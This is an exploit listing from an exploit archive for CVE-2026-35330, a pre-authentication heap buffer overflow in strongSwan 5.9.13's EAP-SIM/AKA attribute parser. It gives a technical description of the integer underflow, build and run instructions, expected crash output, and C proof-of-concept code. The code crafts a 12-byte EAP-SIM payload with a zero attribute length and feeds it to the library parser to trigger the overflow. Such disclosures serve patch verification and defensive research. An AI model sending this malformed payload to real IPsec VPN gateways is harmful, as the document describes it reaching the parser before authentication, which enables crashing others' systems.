Share
## https://sploitus.com/exploit?id=PACKETSTORM:222183
* Exploit Title: strongSwan 5.9.13 -  heap buffer overflow
     * Date: 2026-05-13
     * Exploit Author: Lukas Johannes Moeller
     * Vendor Homepage: https://www.strongswan.org/
     * Software Link: https://download.strongswan.org/strongswan-5.9.13.tar.bz2
     * Version: strongSwan <= 5.9.13 (eap-sim or eap-aka plugin built)
     * Tested on: Debian 12 bookworm, libsimaka.so.0.0.0 + libstrongswan.so.0.0.0
     *            from upstream strongswan-5.9.13 tarball (no distro patches).
     * CVE: CVE-2026-35330
     * References:
     *   https://github.com/strongswan/strongswan/commit/aa5aaebc33
     *   https://nvd.nist.gov/vuln/detail/CVE-2026-35330
     *   https://github.com/JohannesLks/CVE-2026-35330
     *
     * Description:
     *   parse_attributes() in src/libsimaka/simaka_message.c computes
     *   attribute data length as `hdr->length * 4 - 4` without guarding
     *   against `hdr->length == 0`. For length == 0 the validation
     *   `hdr->length * 4 > in.len` evaluates `0 > in.len` (false on any
     *   non-empty input), so the check passes. The chunk length then
     *   underflows to (size_t)0xFFFFFFFFFFFFFFFC and is passed to
     *   add_attribute(), which performs `malloc(sizeof(attr_t) + data.len)`
     *   -> `malloc(16 + 0xFFFFFFFFFFFFFFFC)` -> a 12-byte allocation,
     *   followed by an oversized memcpy. Under ASan this is a clean
     *   heap-buffer-overflow WRITE; under glibc it is an immediate
     *   SIGSEGV inside production code as soon as memcpy walks off the
     *   end of the 12-byte chunk into unmapped memory.
     *
     *   The bug is pre-auth: an EAP-SIM/AKA payload reaches
     *   parse_attributes() inside IKE_AUTH before any peer authentication
     *   has completed.
     *
     * Build:
     *   gcc -fsanitize=address -g -O0 \
     *       -I/path/to/strongswan-5.9.13/src/libsimaka \
     *       -I/path/to/strongswan-5.9.13/src/libstrongswan \
     *       -include /path/to/strongswan-5.9.13/config.h \
     *       strongswan-5.9.13-libsimaka-eap-sim-aka-overflow.c \
     *       -L/usr/lib/ipsec -Wl,-rpath,/usr/lib/ipsec \
     *       -lsimaka -lstrongswan -o sim-aka-oob
     *
     *   (The /usr/lib/ipsec rpath points the loader at the installed
     *   strongSwan libraries. Headers come from the source tree because
     *   simaka_message.h is not installed system-wide.)
     *
     * Run:
     *   ./sim-aka-oob
     *
     * Expected output on a vulnerable strongSwan (<= 5.9.13):
     *   AddressSanitizer: heap-buffer-overflow ... WRITE of size 8
     *   #0 ... in __asan_memcpy
     *   #1 ... in parse_attributes ... simaka_message.c
     *   #2 ... in parse ... simaka_message.c
     *   #3 ... in main ... this file
     *
     * Without ASan you should see a SIGSEGV; on a patched strongSwan
     * (master >= aa5aaebc33) parse() returns FALSE and the program
     * prints "parse() returned FALSE (patched)".
     *
     * Disclaimer:
     *   For authorized testing and defensive research only. Do not use
     *   against systems you do not own or have explicit permission to
     *   test.
     */
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <stdint.h>
    #include <arpa/inet.h>
    
    #include <library.h>
    #include <utils/chunk.h>
    #include <simaka_message.h>
    
    /* EAP codes (RFC 3748) */
    #define EAP_REQUEST  1
    #define EAP_RESPONSE 2
    
    /* EAP types */
    #define EAP_TYPE_SIM 18
    
    /* EAP-SIM subtypes (RFC 4186) */
    #define SIM_CHALLENGE 11
    
    /* EAP-SIM/AKA attribute types (RFC 4186 / RFC 4187) */
    #define AT_RAND 1
    
    
    int main(void)
    {
        chunk_t data;
        simaka_message_t *msg;
        uint8_t payload[12];
    
        if (!library_init(NULL, "exploit-35330")) {
            fprintf(stderr, "[!] library_init() failed\n");
            library_deinit();
            return 1;
        }
    
        /*
         * EAP-SIM header (8 bytes):
         *   byte 0: code      = 2  (EAP_RESPONSE)
         *   byte 1: id        = 0x42
         *   bytes 2-3: length = htons(12)
         *   byte 4: type      = 18 (EAP-SIM)
         *   byte 5: subtype   = 11 (SIM_CHALLENGE)
         *   bytes 6-7: reserved
         *
         * AT_RAND attribute header (4 bytes):
         *   byte 8: type      = 1 (AT_RAND)
         *   byte 9: length    = 0   <-- triggers underflow:
         *                                hdr->length * 4 - 4 = -4 -> SIZE_MAX-3
         *   bytes 10-11: reserved
         */
        payload[0] = EAP_RESPONSE;
        payload[1] = 0x42;
        payload[2] = 0x00;
        payload[3] = 12;
        payload[4] = EAP_TYPE_SIM;
        payload[5] = SIM_CHALLENGE;
        payload[6] = 0x00;
        payload[7] = 0x00;
        payload[8]  = AT_RAND;
        payload[9]  = 0;         /* the bug */
        payload[10] = 0x00;
        payload[11] = 0x00;
    
        data = chunk_create(payload, sizeof(payload));
    
        printf("[*] payload (%zu bytes): ", data.len);
        for (size_t i = 0; i < data.len; i++) {
            printf("%02x ", payload[i]);
        }
        printf("\n[*] EAP-SIM header:  code=RESPONSE id=0x42 len=12 type=SIM subtype=CHALLENGE\n");
        printf("[*] AT_RAND header:  type=1 length=0  <-- triggers underflow\n\n");
    
        msg = simaka_message_create_from_payload(data, NULL);
        if (!msg) {
            fprintf(stderr, "[!] simaka_message_create_from_payload() returned NULL"
                            " -- header rejected\n");
            library_deinit();
            return 2;
        }
        printf("[*] simaka_message_create_from_payload() -> %p\n", (void*)msg);
        printf("[*] calling msg->parse(msg) --"
               " expecting heap-buffer-overflow inside parse_attributes()...\n");
        fflush(stdout);
    
        if (msg->parse(msg)) {
            printf("[?] parse() returned TRUE -- unexpected\n");
        } else {
            printf("[+] parse() returned FALSE (patched) -- attribute rejected\n");
        }
    
        msg->destroy(msg);
        library_deinit();
        return 0;
    }